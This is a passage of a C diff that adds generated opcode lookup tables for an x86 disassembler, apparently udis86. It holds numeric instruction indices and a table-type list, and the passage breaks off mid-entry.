265, 266, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, 656, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__425[] = { + /* 0 */ GROUP(426), GROUP(427), +}; + +static const uint16_t ud_itab__426[] = { + /* 0 */ 453, 471, 467, 470, + /* 4 */ INVALID, 474, INVALID, 538, +}; + +static const uint16_t ud_itab__427[] = { + /* 0 */ 267, 268, 269, 270, + /* 4 */ 271, 272, 273, 274, + /* 8 */ 275, 276, 277, 278, + /* c */ 279, 280, 281, 282, + /* 10 */ 283, 284, 285, 286, + /* 14 */ 287, 288, 289, 290, + /* 18 */ 291, 292, 293, 294, + /* 1c */ 295, 296, 297, 298, + /* 20 */ 524, 523, 234, 455, + /* 24 */ 525, 532, INVALID, INVALID, + /* 28 */ 299, 300, 301, 302, + /* 2c */ 303, 304, 305, 306, + /* 30 */ 333, 334, 335, 336, + /* 34 */ 337, 338, 339, 340, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__428[] = { + /* 0 */ GROUP(429), GROUP(430), +}; + +static const uint16_t ud_itab__429[] = { + /* 0 */ 205, 494, 308, 358, + /* 4 */ 588, 613, 378, 404, +}; + +static const uint16_t ud_itab__430[] = { + /* 0 */ 207, 208, 209, 210, + /* 4 */ 211, 212, 213, 214, + /* 8 */ 495, 496, 497, 498, + /* c */ 499, 500, 501, 502, + /* 10 */ 317, 318, 319, 320, + /* 14 */ 321, 322, 323, 324, + /* 18 */ 325, 326, 327, 328, + /* 1c */ 329, 330, 331, 332, + /* 20 */ 622, 623, 624, 625, + /* 24 */ 626, 627, 628, 629, + /* 28 */ 597, 598, 599, 600, + /* 2c */ 601, 602, 603, 604, + /* 30 */ 405, 406, 407, 408, + /* 34 */ 409, 410, 411, 412, + /* 38 */ 379, 380, 381, 382, + /* 3c */ 383, 384, 385, 386, +}; + +static const uint16_t ud_itab__431[] = { + /* 0 */ GROUP(432), GROUP(433), +}; + +static const uint16_t ud_itab__432[] = { + /* 0 */ 475, 472, 574, 539, + /* 4 */ 531, INVALID, 533, 585, +}; + +static const uint16_t ud_itab__433[] = { + /* 0 */ 431, 432, 433, 434, + /* 4 */ 435, 436, 437, 438, + /* 8 */ 666, 667, 668, 669, + /* c */ 670, 671, 672, 673, + /* 10 */ 575, 576, 577, 578, + /* 14 */ 579, 580, 581, 582, + /* 18 */ 541, 542, 543, 544, + /* 1c */ 545, 546, 547, 548, + /* 20 */ 640, 641, 642, 643, + /* 24 */ 644, 645, 646, 647, + /* 28 */ 648, 649, 650, 651, + /* 2c */ 652, 653, 654, 655, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__434[] = { + /* 0 */ GROUP(435), GROUP(436), +}; + +static const uint16_t ud_itab__435[] = { + /* 0 */ 457, 521, 447, 449, + /* 4 */ 463, 465, 461, 459, +}; + +static const uint16_t ud_itab__436[] = { + /* 0 */ 223, 224, 225, 226, + /* 4 */ 227, 228, 229, 230, + /* 8 */ 512, 513, 514, 515, + /* c */ 516, 517, 518, 519, + /* 10 */ 367, 368, 369, 370, + /* 14 */ 371, 372, 373, 374, + /* 18 */ INVALID, 375, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ 631, 632, 633, 634, + /* 24 */ 635, 636, 637, 638, + /* 28 */ 605, 606, 607, 608, + /* 2c */ 609, 610, 611, 612, + /* 30 */ 422, 423, 424, 425, + /* 34 */ 426, 427, 428, 429, + /* 38 */ 396, 397, 398, 399, + /* 3c */ 400, 401, 402, 403, +}; + +static const uint16_t ud_itab__437[] = { + /* 0 */ GROUP(438), GROUP(439), +}; + +static const uint16_t ud_itab__438[] = { + /* 0 */ 451, 473, 466, 468, + /* 4 */ 231, 452, 232, 469, +}; + +static const uint16_t ud_itab__439[] = { + /* 0 */ 439, 440, 441, 442, + /* 4 */ 443, 444, 445, 446, + /* 8 */ 674, 675, 676, 677, + /* c */ 678, 679, 680, 681, + /* 10 */ 557, 558, 559, 560, + /* 14 */ 561, 562, 563, 564, + /* 18 */ 565, 566, 567, 568, + /* 1c */ 569, 570, 571, 572, + /* 20 */ 586, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ 341, 342, 343, 344, + /* 2c */ 345, 346, 347, 348, + /* 30 */ 349, 350, 351, 352, + /* 34 */ 353, 354, 355, 356, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__440[] = { + /* 0 */ 758, 759, 760, +}; + +static const uint16_t ud_itab__441[] = { + /* 0 */ 764, INVALID, +}; + +static const uint16_t ud_itab__442[] = { + /* 0 */ 1432, 1437, 962, 953, + /* 4 */ 942, 695, 186, 689, +}; + +static const uint16_t ud_itab__443[] = { + /* 0 */ 1438, 1439, 963, 954, + /* 4 */ 943, 696, 185, 688, +}; + +static const uint16_t ud_itab__444[] = { + /* 0 */ 708, 183, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__445[] = { + /* 0 */ 707, 184, GROUP(446), 71, + /* 4 */ 761, 762, 1255, INVALID, +}; + +static const uint16_t ud_itab__446[] = { + /* 0 */ 69, 70, +}; + + +struct ud_lookup_table_list_entry ud_lookup_table_list[] = { + /* 000 */ { ud_itab__0, UD_TAB__OPC_TABLE, "opctbl" }, + /* 001 */ { ud_itab__1, UD_TAB__OPC_MODE, "/m" }, + /* 002 */ { ud_itab__2, UD_TAB__OPC_MODE, "/m" }, + /* 003 */ { ud_itab__3, UD_TAB__OPC_MODE, "/m" }, + /* 004 */ { ud_itab__4, UD_TAB__OPC_TABLE, "opctbl" }, + /* 005 */ { ud_itab__5, UD_TAB__OPC_REG, "/reg" }, + /* 006 */ { ud_itab__6, UD_TAB__OPC_MOD, "/mod" }, + /* 007 */ { ud_itab__7, UD_TAB__OPC_REG, "/reg" }, + /* 008 */ { ud_itab__8, UD_TAB__OPC_REG, "/reg" }, + /* 009 */ { ud_itab__9, UD_TAB__OPC_RM, "/rm" }, + /* 010 */ { ud_itab__10, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 011 */ { ud_itab__11, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 012 */ { ud_itab__12, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 013 */ { ud_itab__13, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 014 */ { ud_itab__14, UD_TAB__OPC_RM, "/rm" }, + /* 015 */ { ud_itab__15, UD_TAB__OPC_RM, "/rm" }, + /* 016 */ { ud_itab__16, UD_TAB__OPC_RM, "/rm" }, + /* 017 */ { ud_itab__17, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 018 */ { ud_itab__18, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 019 */ { ud_itab__19, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 020 */ { ud_itab__20, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 021 */ { ud_itab__21, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 022 */ { ud_itab__22, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 023 */ { ud_itab__23, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 024 */ { ud_itab__24, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 025 */ { ud_itab__25, UD_TAB__OPC_RM, "/rm" }, + /* 026 */ { ud_itab__26, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 027 */ { ud_itab__27, UD_TAB__OPC_REG, "/reg" }, + /* 028 */ { ud_itab__28, UD_TAB__OPC_3DNOW, "/3dnow" }, + /* 029 */ { ud_itab__29, UD_TAB__OPC_SSE, "/sse" }, + /* 030 */ { ud_itab__30, UD_TAB__OPC_SSE, "/sse" }, + /* 031 */ { ud_itab__31, UD_TAB__OPC_MOD, "/mod" }, + /* 032 */ { ud_itab__32, UD_TAB__OPC_SSE, "/sse" }, + /* 033 */ { ud_itab__33, UD_TAB__OPC_SSE, "/sse" }, + /* 034 */ { ud_itab__34, UD_TAB__OPC_SSE, "/sse" }, + /* 035 */ { ud_itab__35, UD_TAB__OPC_SSE, "/sse" }, + /* 036 */ { ud_itab__36, UD_TAB__OPC_SSE, "/sse" }, + /* 037 */ { ud_itab__37, UD_TAB__OPC_MOD, "/mod" }, + /* 038 */ { ud_itab__38, UD_TAB__OPC_SSE, "/sse" }, + /* 039 */ { ud_itab__39, UD_TAB__OPC_SSE, "/sse" }, + /* 040 */ { ud_itab__40, UD_TAB__OPC_SSE, "/sse" }, + /* 041 */ { ud_itab__41, UD_TAB__OPC_REG, "/reg" }, + /* 042 */ { ud_itab__42, UD_TAB__OPC_SSE, "/sse" }, + /* 043 */ { ud_itab__43, UD_TAB__OPC_SSE, "/sse" }, + /* 044 */ { ud_itab__44, UD_TAB__OPC_SSE, "/sse" }, + /* 045 */ { ud_itab__45, UD_TAB__OPC_SSE, "/sse" }, + /* 046 */ { ud_itab__46, UD_TAB__OPC_SSE, "/sse" }, + /* 047 */ { ud_itab__47, UD_TAB__OPC_SSE, "/sse" }, + /* 048 */ { ud_itab__48, UD_TAB__OPC_SSE, "/sse" }, + /* 049 */ { ud_itab__49, UD_TAB__OPC_SSE, "/sse" }, + /* 050 */ { ud_itab__50, UD_TAB__OPC_MODE, "/m" }, + /* 051 */ { ud_itab__51, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 052 */ { ud_itab__52, UD_TAB__OPC_MODE, "/m" }, + /* 053 */ { ud_itab__53, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 054 */ { ud_itab__54, UD_TAB__OPC_TABLE, "opctbl" }, + /* 055 */ { ud_itab__55, UD_TAB__OPC_SSE, "/sse" }, + /* 056 */ { ud_itab__56, UD_TAB__OPC_MODE, "/m" }, + /* 057 */ { ud_itab__57, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 058 */ { ud_itab__58, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 059 */ { ud_itab__59, UD_TAB__OPC_SSE, "/sse" }, + /* 060 */ { ud_itab__60, UD_TAB__OPC_MODE, "/m" }, + /* 061 */ { ud_itab__61, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 062 */ { ud_itab__62, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 063 */ { ud_itab__63, UD_TAB__OPC_SSE, "/sse" }, + /* 064 */ { ud_itab__64, UD_TAB__OPC_SSE, "/sse" }, + /* 065 */ { ud_itab__65, UD_TAB__OPC_SSE, "/sse" }, + /* 066 */ { ud_itab__66, UD_TAB__OPC_SSE, "/sse" }, + /* 067 */ { ud_itab__67, UD_TAB__OPC_SSE, "/sse" }, + /* 068 */ { ud_itab__68, UD_TAB__OPC_SSE, "/sse" }, + /* 069 */ { ud_itab__69, UD_TAB__OPC_SSE, "/sse" }, + /* 070 */ { ud_itab__70, UD_TAB__OPC_SSE, "/sse" }, + /* 071 */ { ud_itab__71, UD_TAB__OPC_SSE, "/sse" }, + /* 072 */ { ud_itab__72, UD_TAB__OPC_SSE, "/sse" }, + /* 073 */ { ud_itab__73, UD_TAB__OPC_SSE, "/sse" }, + /* 074 */ { ud_itab__74, UD_TAB__OPC_SSE, "/sse" }, + /* 075 */ { ud_itab__75, UD_TAB__OPC_SSE, "/sse" }, + /* 076 */ { ud_itab__76, UD_TAB__OPC_SSE, "/sse" }, + /* 077 */ { ud_itab__77, UD_TAB__OPC_SSE, "/sse" }, + /* 078 */ { ud_itab__78, UD_TAB__OPC_SSE, "/sse" }, + /* 079 */ { ud_itab__79, UD_TAB__OPC_SSE, "/sse" }, + /* 080 */ { ud_itab__80, UD_TAB__OPC_SSE, "/sse" }, + /* 081 */ { ud_itab__81, UD_TAB__OPC_SSE, "/sse" }, + /* 082 */ { ud_itab__82, UD_TAB__OPC_SSE, "/sse" }, + /* 083 */ { ud_itab__83, UD_TAB__OPC_SSE, "/sse" }, + /* 084 */ { ud_itab__84, UD_TAB__OPC_SSE, "/sse" }, + /* 085 */ { ud_itab__85, UD_TAB__OPC_SSE, "/sse" }, + /* 086 */ { ud_itab__86, UD_TAB__OPC_SSE, "/sse" }, + /* 087 */ { ud_itab__87, UD_TAB__OPC_SSE, "/sse" }, + /* 088 */ { ud_itab__88, UD_TAB__OPC_SSE, "/sse" }, + /* 089 */ { ud_itab__89, UD_TAB__OPC_SSE, "/sse" }, + /* 090 */ { ud_itab__90, UD_TAB__OPC_SSE, "/sse" }, + /* 091 */ { ud_itab__91, UD_TAB__OPC_SSE, "/sse" }, + /* 092 */ { ud_itab__92, UD_TAB__OPC_SSE, "/sse" }, + /* 093 */ { ud_itab__93, UD_TAB__OPC_SSE, "/sse" }, + /* 094 */ { ud_itab__94, UD_TAB__OPC_SSE, "/sse" }, + /* 095 */ { ud_itab__95, UD_TAB__OPC_SSE, "/sse" }, + /* 096 */ { ud_itab__96, UD_TAB__OPC_SSE, "/sse" }, + /* 097 */ { ud_itab__97, UD_TAB__OPC_SSE, "/sse" }, + /* 098 */ { ud_itab__98, UD_TAB__OPC_SSE, "/sse" }, + /* 099 */ { ud_itab__99, UD_TAB__OPC_SSE, "/sse" }, + /* 100 */ { ud_itab__100, UD_TAB__OPC_SSE, "/sse" }, + /* 101 */ { ud_itab__101, UD_TAB__OPC_SSE, "/sse" }, + /* 102 */ { ud_itab__102, UD_TAB__OPC_SSE, "/sse" }, + /* 103 */ { ud_itab__103, UD_TAB__OPC_SSE, "/sse" }, + /* 104 */ { ud_itab__104, UD_TAB__OPC_SSE, "/sse" }, + /* 105 */ { ud_itab__105, UD_TAB__OPC_SSE, "/sse" }, + /* 106 */ { ud_itab__106, UD_TAB__OPC_SSE, "/sse" }, + /* 107 */ { ud_itab__107, UD_TAB__OPC_SSE, "/sse" }, + /* 108 */ { ud_itab__108, UD_TAB__OPC_SSE, "/sse" }, + /* 109 */ { ud_itab__109, UD_TAB__OPC_SSE, "/sse" }, + /* 110 */ { ud_itab__110, UD_TAB__OPC_SSE, "/sse" }, + /* 111 */ { ud_itab__111, UD_TAB__OPC_SSE, "/sse" }, + /* 112 */ { ud_itab__112, UD_TAB__OPC_SSE, "/sse" }, + /* 113 */ { ud_itab__113, UD_TAB__OPC_SSE, "/sse" }, + /* 114 */ { ud_itab__114, UD_TAB__OPC_SSE, "/sse" }, + /* 115 */ { ud_itab__115, UD_TAB__OPC_SSE, "/sse" }, + /* 116 */ { ud_itab__116, UD_TAB__OPC_TABLE, "opctbl" }, + /* 117 */ { ud_itab__117, UD_TAB__OPC_SSE, "/sse" }, + /* 118 */ { ud_itab__118, UD_TAB__OPC_SSE, "/sse" }, + /* 119 */ { ud_itab__119, UD_TAB__OPC_SSE, "/sse" }, + /* 120 */ { ud_itab__120, UD_TAB__OPC_SSE, "/sse" }, + /* 121 */ { ud_itab__121, UD_TAB__OPC_SSE, "/sse" }, + /* 122 */ { ud_itab__122, UD_TAB__OPC_SSE, "/sse" }, + /* 123 */ { ud_itab__123, UD_TAB__OPC_SSE, "/sse" }, + /* 124 */ { ud_itab__124, UD_TAB__OPC_SSE, "/sse" }, + /* 125 */ { ud_itab__125, UD_TAB__OPC_SSE, "/sse" }, + /* 126 */ { ud_itab__126, UD_TAB__OPC_SSE, "/sse" }, + /* 127 */ { ud_itab__127, UD_TAB__OPC_SSE, "/sse" }, + /* 128 */ { ud_itab__128, UD_TAB__OPC_OSIZE, "/o" }, + /* 129 */ { ud_itab__129, UD_TAB__OPC_SSE, "/sse" }, + /* 130 */ { ud_itab__130, UD_TAB__OPC_SSE, "/sse" }, + /* 131 */ { ud_itab__131, UD_TAB__OPC_SSE, "/sse" }, + /* 132 */ { ud_itab__132, UD_TAB__OPC_SSE, "/sse" }, + /* 133 */ { ud_itab__133, UD_TAB__OPC_OSIZE, "/o" }, + /* 134 */ { ud_itab__134, UD_TAB__OPC_SSE, "/sse" }, + /* 135 */ { ud_itab__135, UD_TAB__OPC_SSE, "/sse" }, + /* 136 */ { ud_itab__136, UD_TAB__OPC_SSE, "/sse" }, + /* 137 */ { ud_itab__137, UD_TAB__OPC_SSE, "/sse" }, + /* 138 */ { ud_itab__138, UD_TAB__OPC_SSE, "/sse" }, + /* 139 */ { ud_itab__139, UD_TAB__OPC_SSE, "/sse" }, + /* 140 */ { ud_itab__140, UD_TAB__OPC_SSE, "/sse" }, + /* 141 */ { ud_itab__141, UD_TAB__OPC_SSE, "/sse" }, + /* 142 */ { ud_itab__142, UD_TAB__OPC_SSE, "/sse" }, + /* 143 */ { ud_itab__143, UD_TAB__OPC_SSE, "/sse" }, + /* 144 */ { ud_itab__144, UD_TAB__OPC_SSE, "/sse" }, + /* 145 */ { ud_itab__145, UD_TAB__OPC_SSE, "/sse" }, + /* 146 */ { ud_itab__146, UD_TAB__OPC_SSE, "/sse" }, + /* 147 */ { ud_itab__147, UD_TAB__OPC_SSE, "/sse" }, + /* 148 */ { ud_itab__148, UD_TAB__OPC_SSE, "/sse" }, + /* 149 */ { ud_itab__149, UD_TAB__OPC_SSE, "/sse" }, + /* 150 */ { ud_itab__150, UD_TAB__OPC_SSE, "/sse" }, + /* 151 */ { ud_itab__151, UD_TAB__OPC_SSE, "/sse" }, + /* 152 */ { ud_itab__152, UD_TAB__OPC_SSE, "/sse" }, + /* 153 */ { ud_itab__153, UD_TAB__OPC_SSE, "/sse" }, + /* 154 */ { ud_itab__154, UD_TAB__OPC_SSE, "/sse" }, + /* 155 */ { ud_itab__155, UD_TAB__OPC_SSE, "/sse" }, + /* 156 */ { ud_itab__156, UD_TAB__OPC_SSE, "/sse" }, + /* 157 */ { ud_itab__157, UD_TAB__OPC_SSE, "/sse" }, + /* 158 */ { ud_itab__158, UD_TAB__OPC_SSE, "/sse" }, + /* 159 */ { ud_itab__159, UD_TAB__OPC_SSE, "/sse" }, + /* 160 */ { ud_itab__160, UD_TAB__OPC_SSE, "/sse" }, + /* 161 */ { ud_itab__161, UD_TAB__OPC_SSE, "/sse" }, + /* 162 */ { ud_itab__162, UD_TAB__OPC_SSE, "/sse" }, + /* 163 */ { ud_itab__163, UD_TAB__OPC_SSE, "/sse" }, + /* 164 */ { ud_itab__164, UD_TAB__OPC_SSE, "/sse" }, + /* 165 */ { ud_itab__165, UD_TAB__OPC_SSE, "/sse" }, + /* 166 */ { ud_itab__166, UD_TAB__OPC_SSE, "/sse" }, + /* 167 */ { ud_itab__167, UD_TAB__OPC_SSE, "/sse" }, + /* 168 */ { ud_itab__168, UD_TAB__OPC_SSE, "/sse" }, + /* 169 */ { ud_itab__169, UD_TAB__OPC_SSE, "/sse" }, + /* 170 */ { ud_itab__170, UD_TAB__OPC_SSE, "/sse" }, + /* 171 */ { ud_itab__171, UD_TAB__OPC_SSE, "/sse" }, + /* 172 */ { ud_itab__172, UD_TAB__OPC_SSE, "/sse" }, + /* 173 */ { ud_itab__173, UD_TAB__OPC_SSE, "/sse" }, + /* 174 */ { ud_itab__174, UD_TAB__OPC_OSIZE, "/o" }, + /* 175 */ { ud_itab__175, UD_TAB__OPC_OSIZE, "/o" }, + /* 176 */ { ud_itab__176, UD_TAB__OPC_SSE, "/sse" }, + /* 177 */ { ud_itab__177, UD_TAB__OPC_SSE, "/sse" }, + /* 178 */ { ud_itab__178, UD_TAB__OPC_REG, "/reg" }, + /* 179 */ { ud_itab__179, UD_TAB__OPC_SSE, "/sse" }, + /* 180 */ { ud_itab__180, UD_TAB__OPC_SSE, "/sse" }, + /* 181 */ { ud_itab__181, UD_TAB__OPC_SSE, "/sse" }, + /* 182 */ { ud_itab__182, UD_TAB__OPC_REG, "/reg" }, + /* 183 */ { ud_itab__183, UD_TAB__OPC_SSE, "/sse" }, + /* 184 */ { ud_itab__184, UD_TAB__OPC_SSE, "/sse" }, + /* 185 */ { ud_itab__185, UD_TAB__OPC_SSE, "/sse" }, + /* 186 */ { ud_itab__186, UD_TAB__OPC_REG, "/reg" }, + /* 187 */ { ud_itab__187, UD_TAB__OPC_SSE, "/sse" }, + /* 188 */ { ud_itab__188, UD_TAB__OPC_SSE, "/sse" }, + /* 189 */ { ud_itab__189, UD_TAB__OPC_SSE, "/sse" }, + /* 190 */ { ud_itab__190, UD_TAB__OPC_SSE, "/sse" }, + /* 191 */ { ud_itab__191, UD_TAB__OPC_SSE, "/sse" }, + /* 192 */ { ud_itab__192, UD_TAB__OPC_SSE, "/sse" }, + /* 193 */ { ud_itab__193, UD_TAB__OPC_SSE, "/sse" }, + /* 194 */ { ud_itab__194, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 195 */ { ud_itab__195, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 196 */ { ud_itab__196, UD_TAB__OPC_SSE, "/sse" }, + /* 197 */ { ud_itab__197, UD_TAB__OPC_SSE, "/sse" }, + /* 198 */ { ud_itab__198, UD_TAB__OPC_SSE, "/sse" }, + /* 199 */ { ud_itab__199, UD_TAB__OPC_OSIZE, "/o" }, + /* 200 */ { ud_itab__200, UD_TAB__OPC_OSIZE, "/o" }, + /* 201 */ { ud_itab__201, UD_TAB__OPC_SSE, "/sse" }, + /* 202 */ { ud_itab__202, UD_TAB__OPC_MOD, "/mod" }, + /* 203 */ { ud_itab__203, UD_TAB__OPC_REG, "/reg" }, + /* 204 */ { ud_itab__204, UD_TAB__OPC_RM, "/rm" }, + /* 205 */ { ud_itab__205, UD_TAB__OPC_RM, "/rm" }, + /* 206 */ { ud_itab__206, UD_TAB__OPC_RM, "/rm" }, + /* 207 */ { ud_itab__207, UD_TAB__OPC_MOD, "/mod" }, + /* 208 */ { ud_itab__208, UD_TAB__OPC_REG, "/reg" }, + /* 209 */ { ud_itab__209, UD_TAB__OPC_RM, "/rm" }, + /* 210 */ { ud_itab__210, UD_TAB__OPC_RM, "/rm" }, + /* 211 */ { ud_itab__211, UD_TAB__OPC_RM, "/rm" }, + /* 212 */ { ud_itab__212, UD_TAB__OPC_RM, "/rm" }, + /* 213 */ { ud_itab__213, UD_TAB__OPC_RM, "/rm" }, + /* 214 */ { ud_itab__214, UD_TAB__OPC_RM, "/rm" }, + /* 215 */ { ud_itab__215, UD_TAB__OPC_MOD, "/mod" }, + /* 216 */ { ud_itab__216, UD_TAB__OPC_REG, "/reg" }, + /* 217 */ { ud_itab__217, UD_TAB__OPC_REG, "/reg" }, + /* 218 */ { ud_itab__218, UD_TAB__OPC_RM, "/rm" }, + /* 219 */ { ud_itab__219, UD_TAB__OPC_RM, "/rm" }, + /* 220 */ { ud_itab__220, UD_TAB__OPC_RM, "/rm" }, + /* 221 */ { ud_itab__221, UD_TAB__OPC_SSE, "/sse" }, + /* 222 */ { ud_itab__222, UD_TAB__OPC_REG, "/reg" }, + /* 223 */ { ud_itab__223, UD_TAB__OPC_SSE, "/sse" }, + /* 224 */ { ud_itab__224, UD_TAB__OPC_SSE, "/sse" }, + /* 225 */ { ud_itab__225, UD_TAB__OPC_SSE, "/sse" }, + /* 226 */ { ud_itab__226, UD_TAB__OPC_SSE, "/sse" }, + /* 227 */ { ud_itab__227, UD_TAB__OPC_MOD, "/mod" }, + /* 228 */ { ud_itab__228, UD_TAB__OPC_REG, "/reg" }, + /* 229 */ { ud_itab__229, UD_TAB__OPC_OSIZE, "/o" }, + /* 230 */ { ud_itab__230, UD_TAB__OPC_SSE, "/sse" }, + /* 231 */ { ud_itab__231, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 232 */ { ud_itab__232, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 233 */ { ud_itab__233, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 234 */ { ud_itab__234, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 235 */ { ud_itab__235, UD_TAB__OPC_REG, "/reg" }, + /* 236 */ { ud_itab__236, UD_TAB__OPC_SSE, "/sse" }, + /* 237 */ { ud_itab__237, UD_TAB__OPC_SSE, "/sse" }, + /* 238 */ { ud_itab__238, UD_TAB__OPC_SSE, "/sse" }, + /* 239 */ { ud_itab__239, UD_TAB__OPC_SSE, "/sse" }, + /* 240 */ { ud_itab__240, UD_TAB__OPC_SSE, "/sse" }, + /* 241 */ { ud_itab__241, UD_TAB__OPC_SSE, "/sse" }, + /* 242 */ { ud_itab__242, UD_TAB__OPC_SSE, "/sse" }, + /* 243 */ { ud_itab__243, UD_TAB__OPC_SSE, "/sse" }, + /* 244 */ { ud_itab__244, UD_TAB__OPC_SSE, "/sse" }, + /* 245 */ { ud_itab__245, UD_TAB__OPC_SSE, "/sse" }, + /* 246 */ { ud_itab__246, UD_TAB__OPC_SSE, "/sse" }, + /* 247 */ { ud_itab__247, UD_TAB__OPC_SSE, "/sse" }, + /* 248 */ { ud_itab__248, UD_TAB__OPC_SSE, "/sse" }, + /* 249 */ { ud_itab__249, UD_TAB__OPC_SSE, "/sse" }, + /* 250 */ { ud_itab__250, UD_TAB__OPC_SSE, "/sse" }, + /* 251 */ { ud_itab__251, UD_TAB__OPC_SSE, "/sse" }, + /* 252 */ { ud_itab__252, UD_TAB__OPC_SSE, "/sse" }, + /* 253 */ { ud_itab__253, UD_TAB__OPC_SSE, "/sse" }, + /* 254 */ { ud_itab__254, UD_TAB__OPC_SSE, "/sse" }, + /* 255 */ { ud_itab__255, UD_TAB__OPC_SSE, "/sse" }, + /* 256 */ { ud_itab__256, UD_TAB__OPC_SSE, "/sse" }, + /* 257 */ { ud_itab__257, UD_TAB__OPC_SSE, "/sse" }, + /* 258 */ { ud_itab__258, UD_TAB__OPC_SSE, "/sse" }, + /* 259 */ { ud_itab__259, UD_TAB__OPC_SSE, "/sse" }, + /* 260 */ { ud_itab__260, UD_TAB__OPC_SSE, "/sse" }, + /* 261 */ { ud_itab__261, UD_TAB__OPC_SSE, "/sse" }, + /* 262 */ { ud_itab__262, UD_TAB__OPC_SSE, "/sse" }, + /* 263 */ { ud_itab__263, UD_TAB__OPC_SSE, "/sse" }, + /* 264 */ { ud_itab__264, UD_TAB__OPC_SSE, "/sse" }, + /* 265 */ { ud_itab__265, UD_TAB__OPC_SSE, "/sse" }, + /* 266 */ { ud_itab__266, UD_TAB__OPC_SSE, "/sse" }, + /* 267 */ { ud_itab__267, UD_TAB__OPC_SSE, "/sse" }, + /* 268 */ { ud_itab__268, UD_TAB__OPC_SSE, "/sse" }, + /* 269 */ { ud_itab__269, UD_TAB__OPC_SSE, "/sse" }, + /* 270 */ { ud_itab__270, UD_TAB__OPC_SSE, "/sse" }, + /* 271 */ { ud_itab__271, UD_TAB__OPC_SSE, "/sse" }, + /* 272 */ { ud_itab__272, UD_TAB__OPC_SSE, "/sse" }, + /* 273 */ { ud_itab__273, UD_TAB__OPC_SSE, "/sse" }, + /* 274 */ { ud_itab__274, UD_TAB__OPC_SSE, "/sse" }, + /* 275 */ { ud_itab__275, UD_TAB__OPC_MOD, "/mod" }, + /* 276 */ { ud_itab__276, UD_TAB__OPC_SSE, "/sse" }, + /* 277 */ { ud_itab__277, UD_TAB__OPC_SSE, "/sse" }, + /* 278 */ { ud_itab__278, UD_TAB__OPC_SSE, "/sse" }, + /* 279 */ { ud_itab__279, UD_TAB__OPC_SSE, "/sse" }, + /* 280 */ { ud_itab__280, UD_TAB__OPC_SSE, "/sse" }, + /* 281 */ { ud_itab__281, UD_TAB__OPC_SSE, "/sse" }, + /* 282 */ { ud_itab__282, UD_TAB__OPC_SSE, "/sse" }, + /* 283 */ { ud_itab__283, UD_TAB__OPC_SSE, "/sse" }, + /* 284 */ { ud_itab__284, UD_TAB__OPC_MODE, "/m" }, + /* 285 */ { ud_itab__285, UD_TAB__OPC_MODE, "/m" }, + /* 286 */ { ud_itab__286, UD_TAB__OPC_MODE, "/m" }, + /* 287 */ { ud_itab__287, UD_TAB__OPC_MODE, "/m" }, + /* 288 */ { ud_itab__288, UD_TAB__OPC_MODE, "/m" }, + /* 289 */ { ud_itab__289, UD_TAB__OPC_MODE, "/m" }, + /* 290 */ { ud_itab__290, UD_TAB__OPC_MODE, "/m" }, + /* 291 */ { ud_itab__291, UD_TAB__OPC_MODE, "/m" }, + /* 292 */ { ud_itab__292, UD_TAB__OPC_OSIZE, "/o" }, + /* 293 */ { ud_itab__293, UD_TAB__OPC_MODE, "/m" }, + /* 294 */ { ud_itab__294, UD_TAB__OPC_MODE, "/m" }, + /* 295 */ { ud_itab__295, UD_TAB__OPC_OSIZE, "/o" }, + /* 296 */ { ud_itab__296, UD_TAB__OPC_MODE, "/m" }, + /* 297 */ { ud_itab__297, UD_TAB__OPC_MODE, "/m" }, + /* 298 */ { ud_itab__298, UD_TAB__OPC_MODE, "/m" }, + /* 299 */ { ud_itab__299, UD_TAB__OPC_MODE, "/m" }, + /* 300 */ { ud_itab__300, UD_TAB__OPC_OSIZE, "/o" }, + /* 301 */ { ud_itab__301, UD_TAB__OPC_OSIZE, "/o" }, + /* 302 */ { ud_itab__302, UD_TAB__OPC_REG, "/reg" }, + /* 303 */ { ud_itab__303, UD_TAB__OPC_REG, "/reg" }, + /* 304 */ { ud_itab__304, UD_TAB__OPC_REG, "/reg" }, + /* 305 */ { ud_itab__305, UD_TAB__OPC_MODE, "/m" }, + /* 306 */ { ud_itab__306, 